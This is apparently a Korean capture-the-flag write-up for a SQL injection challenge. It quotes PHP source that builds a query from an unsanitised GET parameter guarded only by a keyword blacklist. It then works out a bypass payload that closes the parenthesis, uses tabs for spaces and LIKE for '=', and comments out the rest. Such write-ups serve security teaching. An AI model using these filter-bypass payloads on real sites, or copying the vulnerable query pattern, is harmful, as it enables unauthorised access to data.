
문제에 접속하면 SQLI 문제라는 걸 알려주고 있습니다. 제출 탭에 sqli 쿼리문을 작성해서 넣으면 되는 문제 같습니다. 어떤 구문을 넣어야 하는지 확인하기 위해 view-source 탭으로 이동해 보겠습니다.
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
조건은 r[id] 값을 admin으로 설정하는 것입니다. preg_match를 통해 #, select, , limit, =, 0x를 필터링하고 있습니다. 그리고 no= 뒤에 ()로 묶여있기 때문에 괄호 안에 그냥 구문을 입력하면 참인 경우 앞의 id='guest'에 의해 guest가 반환되게 됩니다.
따라서 닫는 괄호를 통해 no=(0) 이런 식으로 닫은 후 기존에 존재하던 뒤의 괄호는 주석 처리를 하여 해결할 수 있을 것 같습니다. 쿼리문을 작성해 보면 0) or id=admin -- 으로 문제를 풀 수 있습니다.
이제 preg_match를 우회하기 위해 공백과 =를 대체해주면 됩니다. 공백은 %09(탭), 등호는 like 구문으로 대체해주면 최종 결과는 0)%09or%09id%09like%09'admin'%09--%09 가 됩니다.
이걸 입력 폼에 넣으면 %09를 특수 문자가 아닌 그냥 문자열로 인식하기 때문에 url의 ?no=를 통해 전달해주면 됩니다.